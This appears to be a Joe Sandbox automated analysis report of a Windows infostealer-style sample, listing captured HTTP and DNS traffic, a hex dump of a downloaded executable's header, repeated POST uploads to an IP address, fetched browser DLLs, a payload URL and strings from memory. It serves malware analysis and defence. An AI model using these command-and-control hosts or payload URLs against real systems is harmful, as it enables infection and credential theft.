HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 12 Jul 2024 08:38:34 GMTServer: Apache/2.4.58 (Ubuntu)Last-Modified: Wed, 10 Jul 2024 14:07:09 GMTETag: "13c06a-61ce529788cc5"Accept-Ranges: bytesContent-Length: 1294442Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 da e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 6e 00 00 00 ce 06 00 00 42 00 00 83 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 c0 0f 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b 00 00 b4 00 00 00 00 40 0f 00 30 68 00 00 00 00 00 00 00 00 00 00 22 7a 13 00 48 46 00 00 00 a0 07 00 64 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ae 6d 00 00 00 10 00 00 00 6e 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 62 2a 00 00 00 80 00 00 00 2c 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 7e 06 00 00 b0 00 00 00 02 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 08 00 00 30 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 30 68 00 00 00 40 0f 00 00 6a 00 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 32 0f 00 00 00 b0 0f 00 00 10 00 00 00 b2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /profiles/76561199735694209 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 65.109.241.221 65.109.241.221
Source: Joe Sandbox View	IP Address: 199.59.243.226 199.59.243.226
Source: Joe Sandbox View	IP Address: 23.192.247.89 23.192.247.89

Source: Joe Sandbox View

ASN Name: AKAMAI-ASUS AKAMAI-ASUS

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIDAKECFIEBGDHJEBKKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIEHIIEHIEHJKEBKEHJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDHCGHDHIDHCBGCBGCAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFBFCAFCBKFIEBFHIDBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHDHIEGIIIDHIDHDHJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 5561Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlt.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDAKKJJJKJKECBGCGDAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFBFCAFCBKFIEBFHIDBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDGIJJDGCBKFIDHIEBKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBGCBAFCGDAAKFIDGIEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIJJKEHCAKEGCAKJKECUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHDAAKEHJECBFHCBKFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIIIIJKFCAAECAKFIEHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 469Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIDAKECFIEBGDHJEBKKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 130441Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDGIJJDGCBKFIDHIEBKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDGIJKFIJDAAAKFHIEGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 498Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KECBFBAEBKJJJJKFCGCBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /webdav/Windows_Services_AS.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 216.245.184.74Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDHCGHDHIDHCBGCBGCAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: tea.arpdabl.orgContent-Length: 3217Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Connection: Keep-AliveCache-Control: no-cacheHost: survey-smiles.com

Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.241.221

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_0009279E InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

11_2_0009279E

Source: global traffic	HTTP traffic detected: GET /profiles/76561199735694209 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlt.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /webdav/Windows_Services_AS.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 216.245.184.74Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Connection: Keep-AliveCache-Control: no-cacheHost: survey-smiles.com
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: mwDBbeizpqpEEPNlGvI.mwDBbeizpqpEEPNlGvI
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: tea.arpdabl.org
Source: global traffic	DNS traffic detected: DNS query: survey-smiles.com
Source: global traffic	DNS traffic detected: DNS query: sJavUoBfFUhkoScDaBgelALGvfC.sJavUoBfFUhkoScDaBgelALGvfC
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIDAKECFIEBGDHJEBKKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.1) Gecko/20100101 Firefox/128.1Host: 65.109.241.221Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://216.245.184.74/webdav/Windows_Services_AS.exe
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://216.245.184.74/webdav/Windows_Services_AS.exe-data;
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://216.245.184.74/webdav/Windows_Services_AS.exe1kkkkken
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, EHIJJDGDHD.exe.11.dr, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, Windows_Services_AS[1].exe.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: EHIJJDGDHD.exe.11.dr, Windows_Services_AS[1].exe.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, EHIJJDGDHD.exe.11.dr, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, Windows_Services_AS[1].exe.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, EHIJJDGDHD.exe.11.dr, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, Windows_Services_AS[1].exe.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: mg9LPWGtPB.exe	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: mg9LPWGtPB.exe	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: mg9LPWGtPB.exe, 00000000.00000003.2003742764.0000000002905000.00000004.00000020.00020000.00000000.sdmp, EHIJJDGDHD.exe, 00000010.00000003.3035364924.00000000027B8000.00000004.00000020.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3094253513.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3928833943.0000000003417000.00000004.00000020.00020000.00000000.sdmp, Knitting.0.dr, Bk.pif.17.dr, Performing.16.dr, SolarSys.pif.29.dr, Hist.pif.2.dr	String found in binary or memory: http://crl.globalsign.com/gs/gscodesigng2.crl0
Source: mg9LPWGtPB.exe, 00000000.00000003.2003742764.0000000002905000.00000004.00000020.00020000.00000000.sdmp, EHIJJDGDHD.exe, 00000010.00000003.3035364924.00000000027B8000.00000004.00000020.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3094253513.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3928833943.0000000003417000.00000004.00000020.00020000.00000000.sdmp, Knitting.0.dr, Bk.pif.17.dr, Performing.16.dr, SolarSys.pif.29.dr, Hist.pif.2.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingg2.crl0T
Source: mg9LPWGtPB.exe	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: mg9LPWGtPB.exe	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: mg9LPWGtPB.exe	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: mg9LPWGtPB.exe	String found in binary or memory: http://crl.globalsign.com/root.crl0G
Source: mg9LPWGtPB.exe, 00000000.00000003.2003742764.0000000002905000.00000004.00000020.00020000.00000000.sdmp, EHIJJDGDHD.exe, 00000010.00000003.3035364924.00000000027B8000.00000004.00000020.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3094253513.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3928833943.0000000003417000.00000004.00000020.00020000.00000000.sdmp, Knitting.0.dr, Bk.pif.17.dr, Performing.16.dr, SolarSys.pif.29.dr, Hist.pif.2.dr	String found in binary or memory: http://crl.globalsign.net/root.crl0
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, EHIJJDGDHD.exe.11.dr, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, Windows_Services_AS[1].exe.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: EHIJJDGDHD.exe.11.dr, Windows_Services_AS[1].exe.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, EHIJJDGDHD.exe.11.dr, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, Windows_Services_AS[1].exe.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Windows_Services_AS[1].exe.11.dr, mozglue.dll.11.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
